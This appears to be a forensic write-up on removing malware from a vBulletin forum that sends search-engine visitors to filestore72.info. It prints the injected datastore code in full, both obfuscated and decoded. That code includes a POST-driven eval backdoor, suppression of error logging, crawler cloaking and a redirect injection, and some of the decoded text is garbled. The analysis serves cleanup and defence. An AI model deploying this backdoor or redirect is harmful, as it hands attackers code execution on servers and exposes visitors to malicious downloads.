Problem
site redirects to filestore72.info when visiting it from Google
Investigation
- Visit web site from google search results, notice redirection issue
- From browser console we can see that issue caused by following script:
<script type="text/javascript" src="http://example.org/clientscript/vbulletin-core.js?v=425"></script> <script type="text/javascript" src="http://example.org/misc.php?v=425&js=js"></script> ...
with following content
document.location='http://filestore72.info/download.php'
- Make same request using Fiddler2 or any similar tool to index script, notice the same stable and infected content
- For output of this code responsible script “includes/class_core.php” at line #4684
eval($template_code);
- Let’s make some debug output before eval like this:
if (isset($_GET['test'])) echo "<pre>$template_code</pre>";
- Run request once more in Fiddler2, notice some debug output like this:
<script type="text/javascript" src="' . $vboptions['bburl'] . '/clientscript/vbulletin-core.js?v=' . $vboptions['simpleversion'] . '"></script>
' . $template_hook['headinclude_javascript'] . '
- Notice suspicious variable “$template_hook[‘headinclude_javascript’]”
- Search over DB dump for a suspicious variabe and notice how it is overrided in “datastore” table
$template_hook[”headinclude_javascript”] .= ”<script type=”text/javascript”>PATHS.blog = “” . htmlspecialchars_uni($vbulletin->options[”vbblog_url”]) . ””;</script>”;\r\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n$pt = ”babe56042d43ad843163a10c83466377”;\r\n$arrvb = ”30m%D2zm93h[,V3kRV3D>/e=>K%omJ=A+g}]*K%lEC+8zlX6m”=ogKJ[mgX6kB4jk7j<3Bq&E.VjmgX?zC)_gKJBkl=BkBk9T.jf>/eR>K&0+8=%k]>0k]T]#bL<*|8<+Or<k|X%V.4jg8~Nw8qz>/~6g7j<+g+rz.rO;gX%Xvq^+CJvzKq%E/X6k%=Bz|}&TB4jg8~Nw8qz>/~6g7j<En9jVn8Lk/>%+8=Q;gqvm.4]1K>0V/&AkC%j+g>x;|>rVK&xkK&8k]~x3″)o+CJ[1Kj]#.q^w6J7JjJ7″BV1J)q}g8JnqJ>^}wV)n%}]g7jf>/T=}/~rk]X%g|JBz.4jg8X)w%+)w%9]7)qww)=7qw+)wjJ7>86<*Bq6NwLjk89]mC=AV.VV*BqBNw~?klJ]gK8rVCXRE.kvzC%K+J?o;K=Q^CV0zKV9+J?o^/%rmC=0g._x;l%o+B_vzK8x3″)o+CJ[g._BVg&B;”8OzCJBg._BVg&O;”%jVJ?o^C+r;KJOzK=!g._xm”_AVC)]kl)Qg._xVC%o3gJBz)?o^C><V)?oz/jvm7k9>/}<^/?jVb6=>|}o;Kx]*BqRNwLjg8X)w%+)w%9]7)qww)=1n8Xw>86f>/L=}eXNn6Q>qJ=}wjJC7J4f>Ce=})q17JX^w6X77J~wNn6=>K8<kKT]*BqvN7q?#OV9;gX6Vl%Amg}]*BqoN7q?#OV9;”_]gK%j>A9j3n8Lz|>jEe+>neJ^JjJ7w6%NnOj:kr!D[|Z:Xnef>/R=+”8?V/jR>)=nqJ>”qJ>z>6rwJ)~^”)=Xn8R]g7jf>CR=>A&A;|><k/}4V/%?+n6OVCJ[V.=I;g+rkKXBmg~61O~AklT=1Oko>/+OV”&9+gq<zO6:kr!D[|Z:z|~6m”=ok89];l>8kl?]g7[]#K8<kKTokCr?N|;=>B[jVl>8zC&%VC%o#n_0k/q<zK_A”BVAm”8?zCJK+g>Am”=o>86o>B+rzgLfm]T=m]TONv?0kKXBmg~6NOkfm”;R+”8?V/jR>)=bn6=#7wJz>C_VE7%fm”;R>Cel>l%AkKJ6E.q^q6Jw”BVK>86<>O;RmgXA+g}R>)=/qJqz>K<A>86<E7;lE.)%zg~6374jg6XNn6Q>qJ9j;86<E7%fm”;R>/}=N7qREgQ<+O4j3O%A+gqvzK=!m”wR>C[9>KJo>B&6m”8%E.j!TA;?TbL<*BqQNgX8;]X6kOrQ+bwR>C4<#bL9*.jfk/><z]}R1lq0;|JQ+”_6#l&0;K)6m”=oN7VRV/q?*Ox0+l%9+gX6z|>%XA1om”_lzB=jz|VozC=r+._?m/L:kr!D[fZ:m”}=3BqQ^7kOEnQ=+gr<VbQ=m”;RE.ejV7jl>OqBEgQ<+O4j37%f>eVTn6>~n)Xz>|q%zg~9;gq%gKr0zK9]gJ9]mCJr+C%o;K&8+CJ^ml)K;gXvkl%?V.VV#v6jmvQ=+”&A+g9jq6&N}j)Tw89]k|q_zCw]gJ9];|XA>86oN7qI*|8=^}ZZ`”;\r\n$ajx = ”:eMx(UPoYL}O`I5&@|=XQ^sp4~1Tt*./+2>9j”7AmgKv#rZy8!Vwd[kqicnS6NhzD-a$R;ulF3,BG{?JWfCEb%]H0)_<”;\r\n$ajx2 = ”.E[8/~?u#AQi;q-x|39Ntf&<gBIM,OCHZ@JskWSzaX2jLh)+1rdU`4cR:=T>0P6b($”%oY!m{e_y}]wV*7GKDln^vF5p”;\r\n$baseline = ”%s%”.substr($arrvb, 733, 1);\r\n$gpu = preg_replace($baseline, strtr($arrvb, $ajx, $ajx2), ”vbseo”);\r\n
- Let’s simulate this suspicious PHP code and output it:
eval(@base64_decode(JHE9J2luaV9zZXQnO2lmKGZ1bmN0aW9uX2V4aXN0cygkcSkpeyRxKCdkaXNwbGF5X2Vycm9ycycsMCk7JHEoJ2xvZ19lcnJvcnMnLDApO31pZihpc3NldCgkX1BPU1RbJHB0XSkpZXZhbChiYXNlNjRfZGVjb2RlKHN0cl9yb3QxMygkX1BPU1RbJHB0XSkpKTskdT1AcHJlZ19tYXRjaCgnI2JvdHxzcGlkZXJ8Y3Jhd2x8c2x1cnB8eWFuZGV4I2knLCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7JHM9QHBhcnNlX3VybCgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pOyR0PUAkc1snaG9zdCddOyRyPUBwcmVnX21hdGNoKCcjbGl2ZVwuY29tfGdvb2dsZVwufHlhaG9vXC58YmluZy5jb218eWFuZGV4XC5ydXxyYW1ibGVyXC5ydXxiYWlkdVwufGZhY2Vib29rXC58aW5zdGFncmFtXC58dGlueXVybFwufGJpdFwubHkjaScsJHQpfHwkdD09J3QuY28nOyRoPUAkX1NFUlZFUlsnSFRUUF9IT1NUJ107JHA9QENPT0tJRV9QUkVGSVg7JGE9QFRISVNfU0NSSVBUPT09J21pc2MnOyRjPSRwLidsYXN0dmlzaXQnOyRuPSRwLidsYW5nX2lkJzskeT1Ab3JkKEZJTEVfVkVSU0lPTik.chr(43).NTE7JHo9ZW1wdHkoJF9TRVJWRVJbJ0hUVFBfWF9NT1onXSk7JGo9JzxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9IicuJHZidWxsZXRpbi0.chr(43).b3B0aW9uc1snYmJ1cmwnXS4nL21pc2MucGhwP3Y9Jy4kdmJ1bGxldGluLT5vcHRpb25zWydzaW1wbGV2ZXJzaW9uJ10uJyZhbXA7anM9anMiPjwvc2NyaXB0Pic7aWYoZW1wdHkoJF9DT09LSUVbJG5dKSl7aWYoJGEmJmlzc2V0KCRfR0VUWyd2J10pJiYoaXNzZXQoJF9HRVRbJ2pzJ10pKSYmKCFlbXB0eSgkX0NPT0tJRVskY10pKSl7aWYoJHQ9PSRoKXtpZigkeilzZXRjb29raWUoJG4sJ2VuJyx0aW1lKCkrMzYwMDApOyRtPXN1YnN0cihtZDUoJGgpLDAsOCk7cHJpbnQoImRvY3VtZW50LmxvY2F0aW9uPSdodHRwOi8vZmlsZXN0b3JlNzIuaW5mby9kb3dubG9hZC5waHA.chr(47).aWQ9eyRtfSciKTt9ZXhpdDt9aWYoKCEkdSkmJiRyKXtpZigkeSl7JEdMT0JBTFNbJ3RlbXBsYXRlX2hvb2snXVsnaGVhZGluY2x1ZGVfamF2YXNjcmlwdCddLj0kajt9ZWxzZXskR0xPQkFMU1snc3R5bGUnXVsnY3NzJ10uPSRqO319fQ));
- Let’s decode this suspicious base64 content:
$q=’ini_set’;if(function_exists($q)){$q(‘display_errors’,0);$q(‘log_errors’,0);}if(isset($_POST[$pt]))eval(base64_decode(str_rot13($_POST[$pt])));$u=@preg_match(‘#bot|spider|crawl|slurp|yandex#i’,$_SERVER[‘HTTP_USER_AGENT’]);$s=@parse_url($_SERVER[‘HTTP_REFERER’]);$t=@$s[‘host’];$r=@preg_match(‘#live\.com|google\.|yahoo\.|bing.com|yandex\.ru|rambler\.ru|baidu\.|facebook\.|instagram\.|tinyurl\.|bit\.ly#i’,$t)||$t==’t.co’;$h=@$_SERVER[‘HTTP_HOST’];$p=@COOKIE_PREFIX;$a=@THIS_SCRIPT===’misc’;$c=$p.’lastvisit’;$n=$p.’lang_id’;$y=@ord(FILE_VERSION)†¾751;$z=empty($_SERVER[‘HTTP_X_MOZ’]);$j='<script type=”text/javascript” src=”‘.$vbulletin-†¾7options[‘bburl’].’/misc.php?v=’.$vbulletin->options[‘simpleversion’].’&js=js”></script>’;if(empty($_COOKIE[$n])){if($a&&isset($_GET[‘v’])&&(isset($_GET[‘js’]))&&(!empty($_COOKIE[$c]))){if($t==$h){if($z)setcookie($n,’en’,time()+36000);$m=substr(md5($h),0,8);print(“document.location=’http://filestore72.info/download.php†¾;id={$m}'”);}exit;}if((!$u)&&$r){if($y){$GLOBALS[‘template_hook’][‘headinclude_javascript’].=$j;}else{$GLOBALS[‘style’][‘css’].=$j;}}}
- Beautified code:
<?php $q = 'ini_set'; if (function_exists($q)) { $q('display_errors', 0); $q('log_errors', 0); } if (isset($_POST[$pt])) eval(base64_decode(str_rot13($_POST[$pt]))); $u = @preg_match('#bot|spider|crawl|slurp|yandex#i', $_SERVER['HTTP_USER_AGENT']); $s = @parse_url($_SERVER['HTTP_REFERER']); $t = @$s['host']; $r = @preg_match('#live\.com|google\.|yahoo\.|bing.com|yandex\.ru|rambler\.ru|baidu\.|facebook\.|instagram\.|tinyurl\.|bit\.ly#i', $t) || $t == 't.co'; $h = @$_SERVER['HTTP_HOST']; $p = @COOKIE_PREFIX; $a = @THIS_SCRIPT === 'misc'; $c = $p . 'lastvisit'; $n = $p . 'lang_id'; $y = @ord(FILE_VERSION) †¾751; $z = empty($_SERVER['HTTP_X_MOZ']); $j = '<script type="text/javascript" src="' . $vbulletin - †¾7options['bburl'] . '/misc.php?v=' . $vbulletin->options['simpleversion'] . '&js=js"></script>'; if (empty($_COOKIE[$n])) { if ($a && isset($_GET['v']) && (isset($_GET['js'])) && (!empty($_COOKIE[$c]))) { if ($t == $h) { if ($z) setcookie($n, 'en', time() + 36000); $m = substr(md5($h) , 0, 8); print ("document.location='http://filestore72.info/download.php†¾;id={$m}'"); } exit; } if ((!$u) && $r) { if ($y) { $GLOBALS['template_hook']['headinclude_javascript'].= $j; } else { $GLOBALS['style']['css'].= $j; } } } - That is root cause redirection issue for target site.
- Remove infected PHP part from DB starting from “\n\n\n\n” and finishing by “‘vbseo”);\r\n”. You have to fix length of this string right before it’s declaration, something like this:
s:311:"...
- Site is clean. Enjoy.
